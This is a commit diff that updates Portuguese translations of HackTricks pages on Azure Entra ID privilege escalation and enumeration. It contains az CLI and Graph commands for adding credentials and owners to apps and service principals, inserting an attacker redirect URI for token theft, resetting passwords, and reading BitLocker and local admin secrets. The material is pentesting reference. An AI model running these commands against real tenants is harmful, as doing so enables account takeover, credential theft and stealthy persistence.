mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala
This commit is contained in:
@@ -3,15 +3,15 @@
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> Observe que **nem todas as permissões granulares** que as built-in roles possuem no Entra ID **são elegíveis para serem usadas em custom roles.**
|
||||
> Observe que **nem todas as permissões granulares** que as built-in roles têm no Entra ID **são elegíveis para serem usadas em custom roles.**
|
||||
|
||||
## Funções
|
||||
|
||||
### Role: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
|
||||
|
||||
Esta role contém as permissões granulares necessárias para poder atribuir funções a principals e conceder mais permissões às funções. Ambas as ações podem ser abusadas para escalar privilégios.
|
||||
Esta role contém as permissões granulares necessárias para poder atribuir roles a principals e para conceder mais permissões às roles. Ambas as ações podem ser abusadas para escalar privilégios.
|
||||
|
||||
- Atribuir função a um usuário:
|
||||
- Atribuir role a um usuário:
|
||||
```bash
|
||||
# List enabled built-in roles
|
||||
az rest --method GET \
|
||||
@@ -27,7 +27,7 @@ az rest --method POST \
|
||||
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
|
||||
}"
|
||||
```
|
||||
- Adicionar mais permissões a uma função:
|
||||
- Adicionar mais permissões a um role:
|
||||
```bash
|
||||
# List only custom roles
|
||||
az rest --method GET \
|
||||
@@ -52,7 +52,7 @@ az rest --method PATCH \
|
||||
|
||||
### `microsoft.directory/applications/credentials/update`
|
||||
|
||||
Isto permite que um atacante **adicionar credenciais** (senhas ou certificados) a aplicações existentes. Se a aplicação tiver permissões privilegiadas, o atacante pode autenticar-se como essa aplicação e obter esses privilégios.
|
||||
Isso permite que um atacante **adicione credenciais** (senhas ou certificados) a aplicações existentes. Se a aplicação tiver permissões privilegiadas, o atacante pode autenticar-se como essa aplicação e obter esses privilégios.
|
||||
```bash
|
||||
# Generate a new password without overwritting old ones
|
||||
az ad app credential reset --id <appId> --append
|
||||
@@ -61,13 +61,13 @@ az ad app credential reset --id <appId> --create-cert
|
||||
```
|
||||
### `microsoft.directory/applications.myOrganization/credentials/update`
|
||||
|
||||
Isso permite as mesmas ações que `applications/credentials/update`, mas com escopo limitado a aplicações de um único diretório.
|
||||
Isto permite as mesmas ações que `applications/credentials/update`, mas com escopo limitado a aplicações de diretório único.
|
||||
```bash
|
||||
az ad app credential reset --id <appId> --append
|
||||
```
|
||||
### `microsoft.directory/applications/owners/update`
|
||||
|
||||
Ao se adicionar como proprietário, um atacante pode manipular a aplicação, incluindo credentials e permissions.
|
||||
Ao se tornarem proprietários, um atacante pode manipular a aplicação, incluindo credenciais e permissões.
|
||||
```bash
|
||||
az ad app owner add --id <AppId> --owner-object-id <UserId>
|
||||
az ad app credential reset --id <appId> --append
|
||||
@@ -77,24 +77,24 @@ az ad app owner list --id <appId>
|
||||
```
|
||||
### `microsoft.directory/applications/allProperties/update`
|
||||
|
||||
Um atacante pode adicionar uma redirect URI a aplicações que estão a ser usadas por usuários do tenant e depois partilhar com eles login URLs que usam a nova redirect URI para roubar os seus tokens. Observe que, se o usuário já estivesse autenticado na aplicação, a autenticação será automática sem que o usuário precise aceitar nada.
|
||||
Um atacante pode adicionar um redirect URI a aplicações que estão a ser usadas pelos usuários do tenant e, em seguida, compartilhar com eles login URLs que utilizem o novo redirect URL para roubar seus tokens. Observe que, se o usuário já estivesse autenticado na aplicação, a autenticação será automática, sem que o usuário precise aceitar nada.
|
||||
|
||||
Observe que também é possível alterar as permissões que a aplicação solicita para obter mais privilégios, mas, neste caso, o usuário terá de aceitar novamente o prompt solicitando todas as permissões.
|
||||
Observe também que é possível alterar as permissões solicitadas pela aplicação para obter mais privilégios, mas, nesse caso, o usuário precisará aceitar novamente o prompt solicitando todas as permissões.
|
||||
```bash
|
||||
# Get current redirect uris
|
||||
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
|
||||
# Add a new redirect URI (make sure to keep the configured ones)
|
||||
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
|
||||
```
|
||||
### Elevação de Privilégios em Aplicações
|
||||
### Aplicações Privilege Escalation
|
||||
|
||||
**Como explicado em [este post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** era muito comum encontrar aplicações padrão que têm **API permissions** do tipo **`Application`** atribuídas a elas. Uma API Permission (como chamado no console do Entra ID) do tipo **`Application`** significa que a aplicação pode acessar a API e executar ações sem um contexto de usuário (sem um usuário fazer login na app), e sem precisar de roles do Entra ID para permitir isso. Portanto, é muito comum encontrar **aplicações com altos privilégios em todo tenant do Entra ID**.
|
||||
**Como explicado em [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** era muito comum encontrar aplicações padrão que têm **permissões de API** do tipo **`Application`** atribuídas a elas. Uma permissão de API (como chamada no console do Entra ID) do tipo **`Application`** significa que a aplicação pode acessar a API e executar ações sem um contexto de usuário (sem um usuário logado na aplicação), e sem precisar de roles do Entra ID para permitir isso. Portanto, é muito comum encontrar **aplicações com altos privilégios em cada tenant do Entra ID**.
|
||||
|
||||
Então, se um atacante tiver qualquer permission/role que permita **atualizar as credenciais (secret o certificate) da aplicação**, o atacante pode gerar uma nova credencial e então usá-la para **autenticar-se como a aplicação**, obtendo todas as permissões que a aplicação possui.
|
||||
Então, se um atacante tiver qualquer permissão/role que permita **atualizar as credenciais (secret o certificate) da aplicação**, o atacante pode gerar uma nova credencial e então usá-la para **autenticar-se como a aplicação**, obtendo todas as permissões que a aplicação tem.
|
||||
|
||||
Note que o blog mencionado compartilha algumas **API permissions** de aplicações padrão comuns da Microsoft; entretanto, algum tempo após esse relatório a Microsoft corrigiu esse problema e agora não é mais possível login como aplicações da Microsoft. No entanto, ainda é possível encontrar **aplicações customizadas com altos privilégios que poderiam ser abusadas**.
|
||||
Note que o blog mencionado compartilha algumas **permissões de API** de aplicações padrão da Microsoft; no entanto, algum tempo após esse relatório a Microsoft corrigiu esse problema e agora não é mais possível fazer login como aplicações Microsoft. Contudo, ainda é possível encontrar **aplicações customizadas com altos privilégios que podem ser abusadas**.
|
||||
|
||||
How to enumerate the API permissions of an application:
|
||||
Como enumerar as permissões de API de uma aplicação:
|
||||
```bash
|
||||
# Get "API Permissions" of an App
|
||||
## Get the ResourceAppId
|
||||
@@ -125,7 +125,7 @@ az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
|
||||
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
|
||||
```
|
||||
<details>
|
||||
<summary>Encontrar todas as aplicações com permissões de API para APIs não-Microsoft (az cli)</summary>
|
||||
<summary>Encontrar as permissões de API de todas as aplicações e marcar Microsoft-owned APIs</summary>
|
||||
```bash
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
@@ -147,6 +147,32 @@ done
|
||||
return 1
|
||||
}
|
||||
|
||||
get_permission_value() {
|
||||
local resource_app_id="$1"
|
||||
local perm_type="$2"
|
||||
local perm_id="$3"
|
||||
local key value
|
||||
key="${resource_app_id}|${perm_type}|${perm_id}"
|
||||
|
||||
value="$(awk -F '\t' -v k="$key" '$1==k {print $2; exit}' "$tmp_perm_cache")"
|
||||
if [ -n "$value" ]; then
|
||||
printf '%s\n' "$value"
|
||||
return 0
|
||||
fi
|
||||
|
||||
if [ "$perm_type" = "Scope" ]; then
|
||||
value="$(az ad sp show --id "$resource_app_id" --query "oauth2PermissionScopes[?id=='$perm_id'].value | [0]" -o tsv 2>/dev/null || true)"
|
||||
elif [ "$perm_type" = "Role" ]; then
|
||||
value="$(az ad sp show --id "$resource_app_id" --query "appRoles[?id=='$perm_id'].value | [0]" -o tsv 2>/dev/null || true)"
|
||||
else
|
||||
value=""
|
||||
fi
|
||||
|
||||
[ -n "$value" ] || value="UNKNOWN"
|
||||
printf '%s\t%s\n' "$key" "$value" >> "$tmp_perm_cache"
|
||||
printf '%s\n' "$value"
|
||||
}
|
||||
|
||||
command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; }
|
||||
command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; }
|
||||
az account show >/dev/null
|
||||
@@ -155,7 +181,8 @@ apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0
|
||||
|
||||
tmp_map="$(mktemp)"
|
||||
tmp_ids="$(mktemp)"
|
||||
trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT
|
||||
tmp_perm_cache="$(mktemp)"
|
||||
trap 'rm -f "$tmp_map" "$tmp_ids" "$tmp_perm_cache"' EXIT
|
||||
|
||||
# Build unique resourceAppId values used by applications.
|
||||
jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids"
|
||||
@@ -169,9 +196,9 @@ name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")"
|
||||
printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map"
|
||||
done < "$tmp_ids"
|
||||
|
||||
echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId"
|
||||
echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissions"
|
||||
|
||||
# Print only app permissions where the target API is NOT Microsoft-owned.
|
||||
# Print all app API permissions and mark if the target API is Microsoft-owned.
|
||||
while IFS= read -r row; do
|
||||
app_name="$(jq -r '.[0]' <<<"$row")"
|
||||
app_id="$(jq -r '.[1]' <<<"$row")"
|
||||
@@ -186,30 +213,41 @@ resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")"
|
||||
[ -n "$resource_name" ] || resource_name="UNKNOWN"
|
||||
|
||||
if is_microsoft_owner "$owner_org"; then
|
||||
continue
|
||||
is_ms="true"
|
||||
else
|
||||
is_ms="false"
|
||||
fi
|
||||
|
||||
permissions_csv=""
|
||||
while IFS= read -r access; do
|
||||
perm_type="$(jq -r '.type' <<<"$access")"
|
||||
perm_id="$(jq -r '.id' <<<"$access")"
|
||||
echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}"
|
||||
perm_value="$(get_permission_value "$resource_app_id" "$perm_type" "$perm_id")"
|
||||
perm_label="${perm_type}:${perm_value}"
|
||||
if [ -z "$permissions_csv" ]; then
|
||||
permissions_csv="$perm_label"
|
||||
else
|
||||
permissions_csv="${permissions_csv},${perm_label}"
|
||||
fi
|
||||
done < <(jq -c '.resourceAccess[]' <<<"$rra")
|
||||
|
||||
echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}"
|
||||
done < <(jq -c '.[2][]' <<<"$row")
|
||||
done < <(jq -c '.[]' <<<"$apps_json")
|
||||
```
|
||||
</details>
|
||||
|
||||
## Service Principals
|
||||
## Principais de Serviço
|
||||
|
||||
### `microsoft.directory/servicePrincipals/credentials/update`
|
||||
|
||||
Isto permite que um atacante adicione credenciais a service principals existentes. Se o service principal tiver privilégios elevados, o atacante pode assumir esses privilégios.
|
||||
Isso permite que um atacante adicione credenciais a principais de serviço existentes. Se a principal de serviço tiver privilégios elevados, o atacante poderá assumir esses privilégios.
|
||||
```bash
|
||||
az ad sp credential reset --id <sp-id> --append
|
||||
```
|
||||
> [!CAUTION]
|
||||
> A nova password gerada não aparecerá no console web, então isso pode ser uma forma furtiva de manter persistência em um service principal.\
|
||||
> Via API elas podem ser encontradas com: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
|
||||
> A nova senha gerada não aparecerá no web console, então isso pode ser uma forma stealth de manter persistência sobre um service principal.\
|
||||
> Pela API elas podem ser encontradas com: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
|
||||
|
||||
If you get the error `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` it's because **it's not possible to modify the passwordCredentials property** of the SP and first you need to unlock it. For it you need a permission (`microsoft.directory/applications/allProperties/update`) that allows you to execute:
|
||||
```bash
|
||||
@@ -217,13 +255,13 @@ az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-o
|
||||
```
|
||||
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
|
||||
|
||||
Isso permite que um attacker adicione credentials a service principals existentes. Se o service principal tiver privilégios elevados, o attacker pode assumir esses privilégios.
|
||||
Isso permite que um atacante adicione credentials a service principals existentes. Se o service principal tiver privilégios elevados, o atacante poderá assumir esses privilégios.
|
||||
```bash
|
||||
az ad sp credential reset --id <sp-id> --append
|
||||
```
|
||||
### `microsoft.directory/servicePrincipals/owners/update`
|
||||
|
||||
Semelhante às applications, esta permissão permite adicionar mais owners a um service principal. Ser owner de um service principal permite controlar suas credentials e permissions.
|
||||
Semelhante às applications, esta permissão permite adicionar mais owners a um service principal. Possuir um service principal permite controlar suas credenciais e permissões.
|
||||
```bash
|
||||
# Add new owner
|
||||
spId="<spId>"
|
||||
@@ -241,13 +279,13 @@ az ad sp credential reset --id <sp-id> --append
|
||||
az ad sp owner list --id <spId>
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Após adicionar um novo owner, tentei removê-lo, mas a API respondeu que o método DELETE não era suportado, mesmo sendo o método que você precisa usar para deletar o owner. Portanto **você não pode remover owners atualmente**.
|
||||
> Depois de adicionar um novo owner, tentei removê-lo, mas a API respondeu que o método DELETE não era suportado, mesmo sendo o método necessário para remover o owner. Portanto, você **não consegue remover owners hoje em dia**.
|
||||
|
||||
### `microsoft.directory/servicePrincipals/disable` and `enable`
|
||||
### `microsoft.directory/servicePrincipals/disable` e `enable`
|
||||
|
||||
Essas permissões permitem desativar e ativar service principals. Um atacante poderia usar essa permissão para habilitar um service principal ao qual ele conseguisse obter acesso de alguma forma para escalar privilégios.
|
||||
Essas permissões permitem desabilitar e habilitar service principals. Um atacante poderia usar essa permissão para habilitar um service principal ao qual consiga obter acesso de alguma forma, a fim de escalar privilégios.
|
||||
|
||||
Observe que, para esta técnica, o atacante precisará de mais permissões para assumir o controle do service principal habilitado.
|
||||
Observe que, para esta técnica, o atacante precisará de permissões adicionais para tomar posse do service principal habilitado.
|
||||
```bash
|
||||
# Disable
|
||||
az ad sp update --id <ServicePrincipalId> --account-enabled false
|
||||
@@ -257,7 +295,7 @@ az ad sp update --id <ServicePrincipalId> --account-enabled true
|
||||
```
|
||||
#### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`
|
||||
|
||||
Essas permissões permitem criar e obter credenciais para single sign-on (SSO), o que pode permitir o acesso a aplicativos de terceiros.
|
||||
Essas permissões permitem criar e obter credenciais para autenticação única (single sign-on), o que pode possibilitar o acesso a aplicações de terceiros.
|
||||
```bash
|
||||
# Generate SSO creds for a user or a group
|
||||
spID="<spId>"
|
||||
@@ -283,20 +321,20 @@ az rest --method POST \
|
||||
|
||||
### `microsoft.directory/groups/allProperties/update`
|
||||
|
||||
Esta permissão permite adicionar usuários a grupos privilegiados, levando à escalada de privilégios.
|
||||
Esta permissão permite adicionar usuários aos privileged groups, levando a privilege escalation.
|
||||
```bash
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
**Nota**: Esta permissão exclui os grupos atribuíveis a função do Entra ID.
|
||||
**Nota**: Esta permissão exclui grupos atribuíveis a funções do Entra ID.
|
||||
|
||||
### `microsoft.directory/groups/owners/update`
|
||||
|
||||
Esta permissão permite tornar-se proprietário de grupos. Um proprietário de um grupo pode controlar a associação e as configurações do grupo, potencialmente escalando privilégios no grupo.
|
||||
Esta permissão permite tornar-se proprietário de grupos. O proprietário de um grupo pode controlar os membros e as configurações do grupo, potencialmente escalando privilégios no grupo.
|
||||
```bash
|
||||
az ad group owner add --group <GroupName> --owner-object-id <UserId>
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
**Nota**: Esta permissão exclui grupos atribuíveis por função do Entra ID.
|
||||
**Nota**: Esta permissão exclui os role-assignable groups do Entra ID.
|
||||
|
||||
### `microsoft.directory/groups/members/update`
|
||||
|
||||
@@ -306,7 +344,7 @@ az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
### `microsoft.directory/groups/dynamicMembershipRule/update`
|
||||
|
||||
Esta permissão permite atualizar a regra de associação de membros em um grupo dinâmico. Um atacante poderia modificar regras dinâmicas para incluir a si mesmo em grupos privilegiados sem adição explícita.
|
||||
Esta permissão permite atualizar a regra de associação de um grupo dinâmico. Um atacante poderia modificar as regras dinâmicas para se incluir em grupos privilegiados sem adição explícita.
|
||||
```bash
|
||||
groupId="<group-id>"
|
||||
az rest --method PATCH \
|
||||
@@ -317,7 +355,7 @@ az rest --method PATCH \
|
||||
"membershipRuleProcessingState": "On"
|
||||
}'
|
||||
```
|
||||
**Nota**: Esta permissão exclui Entra ID role-assignable groups.
|
||||
**Nota**: Esta permissão exclui grupos atribuíveis por função do Entra ID.
|
||||
|
||||
### Dynamic Groups Privesc
|
||||
|
||||
@@ -331,13 +369,13 @@ dynamic-groups.md
|
||||
|
||||
### `microsoft.directory/users/password/update`
|
||||
|
||||
Esta permissão permite redefinir a senha de usuários não-admin, permitindo que um atacante potencial escale privilégios para outros usuários. Esta permissão não pode ser atribuída a funções personalizadas.
|
||||
Esta permissão permite redefinir a senha de usuários não administradores, permitindo que um atacante potencial escale privilégios para outros usuários. Esta permissão não pode ser atribuída a funções personalizadas.
|
||||
```bash
|
||||
az ad user update --id <user-id> --password "kweoifuh.234"
|
||||
```
|
||||
### `microsoft.directory/users/basic/update`
|
||||
|
||||
Este privilégio permite modificar propriedades do usuário. É comum encontrar grupos dinâmicos que adicionam usuários com base nos valores das propriedades; portanto, essa permissão pode permitir que um usuário defina o valor de propriedade necessário para tornar-se membro de um grupo dinâmico específico e escalar privilégios.
|
||||
Esse privilégio permite modificar propriedades do usuário. É comum encontrar grupos dinâmicos que adicionam usuários com base nos valores dessas propriedades; portanto, essa permissão pode permitir que um usuário defina o valor de propriedade necessário para se tornar membro de um grupo dinâmico específico e escalar privilégios.
|
||||
```bash
|
||||
#e.g. change manager of a user
|
||||
victimUser="<userID>"
|
||||
@@ -353,9 +391,9 @@ az rest --method PATCH \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{\"department\": \"security\"}"
|
||||
```
|
||||
## Conditional Access Policies & MFA bypass
|
||||
## Políticas de Conditional Access & MFA bypass
|
||||
|
||||
Políticas de Conditional Access mal configuradas que exigem MFA podem ser contornadas — verifique:
|
||||
Políticas de Conditional Access mal configuradas que exigem MFA podem ser contornadas, verifique:
|
||||
|
||||
{{#ref}}
|
||||
az-conditional-access-policies-mfa-bypass.md
|
||||
@@ -365,7 +403,7 @@ az-conditional-access-policies-mfa-bypass.md
|
||||
|
||||
### `microsoft.directory/devices/registeredOwners/update`
|
||||
|
||||
Essa permissão permite que atacantes se atribuam como proprietários dos dispositivos para obter controle ou acesso às configurações e dados específicos do dispositivo.
|
||||
Esta permissão permite que atacantes se atribuam como proprietários de dispositivos para obter controle ou acesso às configurações e dados específicos do dispositivo.
|
||||
```bash
|
||||
deviceId="<deviceId>"
|
||||
userId="<userId>"
|
||||
@@ -387,7 +425,7 @@ az rest --method POST \
|
||||
```
|
||||
### `microsoft.directory/deviceLocalCredentials/password/read`
|
||||
|
||||
Esta permissão permite que attackers leiam as propriedades das credenciais de conta de administrador local com backup para dispositivos ingressados no Microsoft Entra, incluindo a password
|
||||
Esta permissão permite que atacantes leiam as propriedades das credenciais de conta de administrador local armazenadas em backup para dispositivos ingressados no Microsoft Entra, incluindo a senha
|
||||
```bash
|
||||
# List deviceLocalCredentials
|
||||
az rest --method GET \
|
||||
@@ -402,7 +440,7 @@ az rest --method GET \
|
||||
|
||||
### `microsoft.directory/bitlockerKeys/key/read`
|
||||
|
||||
Esta permissão permite acessar as chaves BitLocker, o que pode permitir que um atacante descriptografe unidades, comprometendo a confidencialidade dos dados.
|
||||
Esta permissão permite acessar chaves do BitLocker, o que pode permitir que um atacante descriptografe drives, comprometendo a confidencialidade dos dados.
|
||||
```bash
|
||||
# List recovery keys
|
||||
az rest --method GET \
|
||||
|
||||
@@ -4,9 +4,9 @@
|
||||
|
||||
## Informações Básicas
|
||||
|
||||
Azure Active Directory (Azure AD) atua como o serviço em nuvem da Microsoft para gerenciamento de identidade e acesso. Ele é fundamental para permitir que funcionários façam login e obtenham acesso a recursos, tanto dentro quanto fora da organização, incluindo Microsoft 365, o Azure portal e uma infinidade de outras aplicações SaaS. O design do Azure AD foca em fornecer serviços essenciais de identidade, destacando-se **autenticação, autorização e gerenciamento de usuários**.
|
||||
Azure Active Directory (Azure AD) serve como o serviço em nuvem da Microsoft para gestão de identidade e acesso. É fundamental para permitir que funcionários façam login e obtenham acesso a recursos, tanto dentro quanto fora da organização, abrangendo Microsoft 365, o Azure portal e uma grande variedade de outras aplicações SaaS. O design do Azure AD foca em fornecer serviços essenciais de identidade, destacando-se **autenticação, autorização e gerenciamento de usuários**.
|
||||
|
||||
Recursos chave do Azure AD incluem **autenticação multifator** e **acesso condicional**, além de integração perfeita com outros serviços de segurança da Microsoft. Esses recursos elevam significativamente a segurança das identidades dos usuários e permitem que as organizações implementem e apliquem de forma eficaz suas políticas de acesso. Como componente fundamental do ecossistema de serviços em nuvem da Microsoft, o Azure AD é crucial para o gerenciamento em nuvem das identidades dos usuários.
|
||||
Recursos-chave do Azure AD incluem **autenticação multifator** e **acesso condicional**, além de integração transparente com outros serviços de segurança da Microsoft. Esses recursos aumentam significativamente a segurança das identidades dos usuários e permitem que as organizações implementem e apliquem efetivamente suas políticas de acesso. Como componente fundamental do ecossistema de serviços em nuvem da Microsoft, o Azure AD é vital para o gerenciamento em nuvem das identidades de usuários.
|
||||
|
||||
## Enumeração
|
||||
|
||||
@@ -185,11 +185,11 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
When you **login** via **CLI** into Azure with any program, you are using an **Azure Application** from a **tenant** that belongs to **Microsoft**. These Applications, like the ones you can create in your account, **have a client id**. You **won't be able to see all of them** in the **allowed applications lists** you can see in the console, **but they are allowed by default**.
|
||||
Quando você faz o **login** via **CLI** no **Azure** com qualquer programa, você está usando uma **Azure Application** de um **tenant** que pertence à **Microsoft**. Essas Applications, como as que você pode criar na sua conta, **têm um client id**. Você **não conseguirá ver todas elas** nas **allowed applications lists** que aparecem no **console**, **mas elas são permitidas por padrão**.
|
||||
|
||||
For example a **powershell script** that **authenticates** use an app with client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Even if the app doesn't appear in the console, a sysadmin could **block that application** so users cannot access using tools that connects via that App.
|
||||
Por exemplo, um **powershell script** que **autentica** usa um app com client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Mesmo que o app não apareça no console, um sysadmin poderia **bloquear essa aplicação** para que os usuários não possam acessar usando ferramentas que se conectam via esse **App**.
|
||||
|
||||
However, there are **other client-ids** of applications that **will allow you to connect to Azure**:
|
||||
No entanto, existem **outros client-ids** de aplicações que **permitirão que você se conecte ao Azure**:
|
||||
```bash
|
||||
# The important part is the ClientId, which identifies the application to login inside Azure
|
||||
|
||||
@@ -358,15 +358,15 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
#### Alterar senha do usuário
|
||||
#### Alterar a Senha do Usuário
|
||||
```bash
|
||||
$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force
|
||||
|
||||
(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose
|
||||
```
|
||||
### MFA & Conditional Access Policies
|
||||
### MFA & Políticas de Conditional Access
|
||||
|
||||
É altamente recomendado adicionar MFA a todos os usuários; no entanto, algumas empresas não o configuram ou podem configurá-lo com Conditional Access: o usuário será **MFA será exigido se** fizer login de uma localização específica, navegador ou **alguma condição**. Estas políticas, se não configuradas corretamente, podem ser suscetíveis a **bypasses**. Verifique:
|
||||
É altamente recomendado adicionar MFA a cada usuário; no entanto, algumas empresas não o habilitam ou podem configurá-lo com Conditional Access: o usuário será **obrigado a usar MFA se** fizer login a partir de um local específico, navegador ou **alguma condição**. Essas políticas, se não configuradas corretamente, podem ser suscetíveis a **bypasses**. Verifique:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
|
||||
@@ -374,7 +374,7 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText
|
||||
|
||||
### Grupos
|
||||
|
||||
Para mais informações sobre Entra ID groups consulte:
|
||||
Para mais informações sobre grupos do Entra ID, confira:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -488,8 +488,8 @@ Os proprietários do grupo podem adicionar novos usuários ao grupo
|
||||
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
|
||||
```
|
||||
> [!WARNING]
|
||||
> Grupos podem ser dinâmicos, o que basicamente significa que **se um usuário cumprir certas condições ele será adicionado a um grupo**. Claro, se as condições se basearem em **atributos** que um **usuário** pode **controlar**, ele pode abusar desse recurso para **entrar em outros grupos**.\
|
||||
> Veja como abusar de grupos dinâmicos na página a seguir:
|
||||
> Grupos podem ser dinâmicos, o que basicamente significa que **se um usuário cumprir certas condições, ele será adicionado a um grupo**. Claro, se as condições forem baseadas em **atributos** que um **usuário** pode **controlar**, ele pode abusar desse recurso para **entrar em outros grupos**.\
|
||||
> Veja como abusar de grupos dinâmicos na página seguinte:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
|
||||
@@ -497,7 +497,7 @@ Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
|
||||
|
||||
### Service Principals
|
||||
|
||||
Para mais informações sobre Entra ID service principals, veja:
|
||||
Para mais informações sobre Entra ID service principals, confira:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -598,7 +598,7 @@ Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalMembersh
|
||||
{{#endtabs }}
|
||||
|
||||
> [!WARNING]
|
||||
> O Owner de um Service Principal pode alterar sua senha.
|
||||
> O Owner de um Service Principal pode alterar sua password.
|
||||
|
||||
<details>
|
||||
|
||||
@@ -709,16 +709,17 @@ Write-Output "Failed to Enumerate the Applications."
|
||||
|
||||
### Aplicações
|
||||
|
||||
Para mais informações sobre Aplicações consulte:
|
||||
Para mais informações sobre Applications consulte:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
{{#endref}}
|
||||
|
||||
Quando um App é gerado, são concedidos 2 tipos de permissões:
|
||||
Quando um App é gerado 3 tipos de permissões são concedidos:
|
||||
|
||||
- **Permissões** concedidas ao **Service Principal**
|
||||
- **Permissões** que o **app** pode ter e usar em **nome do usuário**.
|
||||
- **Permissões** dadas ao **Service Principal** (via roles).
|
||||
- **Permissões** que o **app** pode ter e usar **em nome do usuário**.
|
||||
- **API Permissions** que dão ao app permissões sobre EntraID sem requerer que outras roles concedam essas permissões.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
@@ -772,7 +773,7 @@ az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
|
||||
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
|
||||
```
|
||||
<details>
|
||||
<summary>Encontrar todas as aplicações com permissões de API para APIs não Microsoft (az cli)</summary>
|
||||
<summary>Encontrar todas as permissões de API das aplicações e marcar as APIs da Microsoft (az cli)</summary>
|
||||
```bash
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
@@ -794,6 +795,32 @@ done
|
||||
return 1
|
||||
}
|
||||
|
||||
get_permission_value() {
|
||||
local resource_app_id="$1"
|
||||
local perm_type="$2"
|
||||
local perm_id="$3"
|
||||
local key value
|
||||
key="${resource_app_id}|${perm_type}|${perm_id}"
|
||||
|
||||
value="$(awk -F '\t' -v k="$key" '$1==k {print $2; exit}' "$tmp_perm_cache")"
|
||||
if [ -n "$value" ]; then
|
||||
printf '%s\n' "$value"
|
||||
return 0
|
||||
fi
|
||||
|
||||
if [ "$perm_type" = "Scope" ]; then
|
||||
value="$(az ad sp show --id "$resource_app_id" --query "oauth2PermissionScopes[?id=='$perm_id'].value | [0]" -o tsv 2>/dev/null || true)"
|
||||
elif [ "$perm_type" = "Role" ]; then
|
||||
value="$(az ad sp show --id "$resource_app_id" --query "appRoles[?id=='$perm_id'].value | [0]" -o tsv 2>/dev/null || true)"
|
||||
else
|
||||
value=""
|
||||
fi
|
||||
|
||||
[ -n "$value" ] || value="UNKNOWN"
|
||||
printf '%s\t%s\n' "$key" "$value" >> "$tmp_perm_cache"
|
||||
printf '%s\n' "$value"
|
||||
}
|
||||
|
||||
